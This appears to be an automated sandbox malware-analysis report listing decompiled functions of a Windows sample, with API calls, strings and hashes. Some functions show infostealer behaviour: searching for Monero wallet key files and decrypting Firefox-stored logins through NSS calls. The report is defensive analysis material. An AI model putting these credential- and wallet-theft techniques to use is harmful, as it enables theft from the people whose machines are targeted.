Function 00584570 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00584580
RtlAllocateHeap.NTDLL(00000000), ref: 00584587
wsprintfA.USER32 ref: 005845A6
FindFirstFileA.KERNEL32(?,?), ref: 005845BD
StrCmpCA.SHLWAPI(?,00590FC4), ref: 005845EB
StrCmpCA.SHLWAPI(?,00590FC8), ref: 00584601
FindNextFileA.KERNEL32(000000FF,?), ref: 0058468B
FindClose.KERNEL32(000000FF), ref: 005846A0
lstrcat.KERNEL32(?,0130ED10), ref: 005846C5
lstrcat.KERNEL32(?,0130D788), ref: 005846D8
lstrlen.KERNEL32(?), ref: 005846E5
lstrlen.KERNEL32(?), ref: 005846F6

Strings

%s\*, xrefs: 0058459A
%s\%s, xrefs: 0058461B

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 671575355-2848263008
Opcode ID: 21a06813ea0cb2b23cbfd8e280a490663bd9a091f681cabcd7795e6b9d84a219
Instruction ID: 6c86dd0f44169cdc9ea2da73ed1202009929dad1227862a63c48499f46fe1cd7
Opcode Fuzzy Hash: 21a06813ea0cb2b23cbfd8e280a490663bd9a091f681cabcd7795e6b9d84a219
Instruction Fuzzy Hash: 5F5159B1510219ABCB24FB70DC89FED777CBB54700F408688FA09A6190EF749B858F95

Function 0057ED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0057ED3E
FindFirstFileA.KERNEL32(?,?), ref: 0057ED55
StrCmpCA.SHLWAPI(?,00591538), ref: 0057EDAB
StrCmpCA.SHLWAPI(?,0059153C), ref: 0057EDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 0057F2AE
FindClose.KERNEL32(000000FF), ref: 0057F2C3

Strings

%s\*.*, xrefs: 0057ED32

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: 7efe0c18e7057be62c6aa8ed4e66979630a5bd4fc0ddfc6616379d3494cffeff
Instruction ID: bb796d62b08da098b3c3d1f5bf5d3cc8435dfc44eae58d7f65754b7bcd27ea27
Opcode Fuzzy Hash: 7efe0c18e7057be62c6aa8ed4e66979630a5bd4fc0ddfc6616379d3494cffeff
Instruction Fuzzy Hash: 77E1E3729111199AFB54FB60DC56EEE7738BF94300F4045DAB90A72052EE346F8ACF62

Function 0057DE10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0058A740: lstrcpy.KERNEL32(00590E17,00000000), ref: 0058A788

Part of subcall function 0058A9B0: lstrlen.KERNEL32(?,013094C0,?,\Monero\wallet.keys,00590E17), ref: 0058A9C5
Part of subcall function 0058A9B0: lstrcpy.KERNEL32(00000000), ref: 0058AA04
Part of subcall function 0058A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0058AA12

Part of subcall function 0058A8A0: lstrcpy.KERNEL32(?,00590E17), ref: 0058A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00590C2E), ref: 0057DE5E
StrCmpCA.SHLWAPI(?,005914C8), ref: 0057DEAE
StrCmpCA.SHLWAPI(?,005914CC), ref: 0057DEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 0057E3E0
FindClose.KERNEL32(000000FF), ref: 0057E3F2

Strings

\*.*, xrefs: 0057DE26

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: f406293b4024014dd839f96c2f9565557741fc3197931df7aacf5bc7acbed0b2
Instruction ID: cd842e1cb9e60d1371c0a17ee54a8f881335f99b9cfffbbec382805c98f8a2fc
Opcode Fuzzy Hash: f406293b4024014dd839f96c2f9565557741fc3197931df7aacf5bc7acbed0b2
Instruction Fuzzy Hash: A8F182719141199AEB15FB60DC9AEEE7738BF94300F4041DAB81A72091EF346F4ACF66

Function 0057C820 Relevance: 13.6, APIs: 9, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 0057C871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0057C87C
PK11_GetInternalKeySlot.NSS3 ref: 0057C88A
PK11_Authenticate.NSS3(00000000,00000001,00000000), ref: 0057C8A5
PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 0057C8EB
lstrcat.KERNEL32(?,00590B46), ref: 0057C943
lstrcat.KERNEL32(?,00590B47), ref: 0057C957
PK11_FreeSlot.NSS3(?), ref: 0057C961
lstrcat.KERNEL32(?,00590B4E), ref: 0057C978

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: K11_lstrcat$Slot$AuthenticateBinaryCryptDecryptFreeInternalStringlstrlen
String ID:
API String ID: 3356303513-0
Opcode ID: b20b0ff7ff4a8695e1defb7876b2ea8f4c4689ec46e63832776c4ead2b06ebcb
Instruction ID: f7646641d43f6d381b757d0afaea740fd6266ed80ab07342c8dd2c303cba5fff
Opcode Fuzzy Hash: b20b0ff7ff4a8695e1defb7876b2ea8f4c4689ec46e63832776c4ead2b06ebcb
Instruction Fuzzy Hash: C24184B5D0421AEFDB50DF90DC88FFEBBB8BB48704F1085A8E509A6280D7745A84CF91

Function 00579AC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,NW,00000000,00000000), ref: 00579AEF
LocalAlloc.KERNEL32(00000040,?,?,?,00574EEE,00000000,?), ref: 00579B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,NW,00000000,00000000), ref: 00579B2A
LocalFree.KERNEL32(?,?,?,?,00574EEE,00000000,?), ref: 00579B3F

Strings

NW, xrefs: 00579AD4, 00579AE1, 00579AF9, 00579B18, 00579AE4, 00579B1B

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID: NW
API String ID: 4291131564-2143564352
Opcode ID: 9bb526bd0f18cbb628e24e0a0123852553656dac78aa62059090483413c3bc71
Instruction ID: 711d677d26e1c61141897c9e804336b5d08001f5b40309f5d36ef88eb3367c7e
Opcode Fuzzy Hash: 9bb526bd0f18cbb628e24e0a0123852553656dac78aa62059090483413c3bc71
Instruction Fuzzy Hash: 8D1190B4640208BFEB10DF64DC95FAA77B5FB89700F20C158F9199B390C7B6A901DBA4

Function 00932F3E Relevance: 7.9, Strings: 5, Instructions: 1654COMMON

Download Yara Rule

Strings

ro, xrefs: 009333ED
qg?M, xrefs: 0093413D
z W, xrefs: 00933583
#O, xrefs: 00933C2B
:qg, xrefs: 00933ADA

Memory Dump Source

Source File: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID:
String ID: :qg$qg?M$ro$z W$#O
API String ID: 0-2473199278
Opcode ID: 2c6f33c11697ebb82e7d9bc6b8f305156e3aaa3329f81d8e6e92aa9c2728c7bb
Instruction ID: d81d9995f3022acc7f116c43efa40683e1e01d50e918c55fc52f4e54557c9e4d
Opcode Fuzzy Hash: 2c6f33c11697ebb82e7d9bc6b8f305156e3aaa3329f81d8e6e92aa9c2728c7bb
Instruction Fuzzy Hash: A2B206F360C2049FE3046E29EC8567AFBE9EF94320F1A493DE6C5C7744EA3598418697

Function 00934AD0 Relevance: 7.9, Strings: 5, Instructions: 1616COMMON

Download Yara Rule

Strings

uS?{, xrefs: 00935181
'km, xrefs: 0093503B
VXku, xrefs: 009353E2
,f_, xrefs: 009359E7
sxo, xrefs: 00935818

Memory Dump Source

Source File: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 'km$VXku$sxo$uS?{$,f_
API String ID: 0-2578276529
Opcode ID: fa8a98dc517594c083cf9ebd51bff0e8babc230f5f5b78cb1859f57948479ca1
Instruction ID: 1c8396fb9c9f6282119d07817ac5cf49c9e63735846264a5bfcd86b0f55cfa59
Opcode Fuzzy Hash: fa8a98dc517594c083cf9ebd51bff0e8babc230f5f5b78cb1859f57948479ca1
Instruction Fuzzy Hash: FFB2E7F360C6049FE304AE2DEC8567ABBE5EFD4720F16893DE6C4C3744E63598058696

Function 00586920 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 0058696C
sscanf.NTDLL ref: 00586999
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 005869B2
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 005869C0
ExitProcess.KERNEL32 ref: 005869DA

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
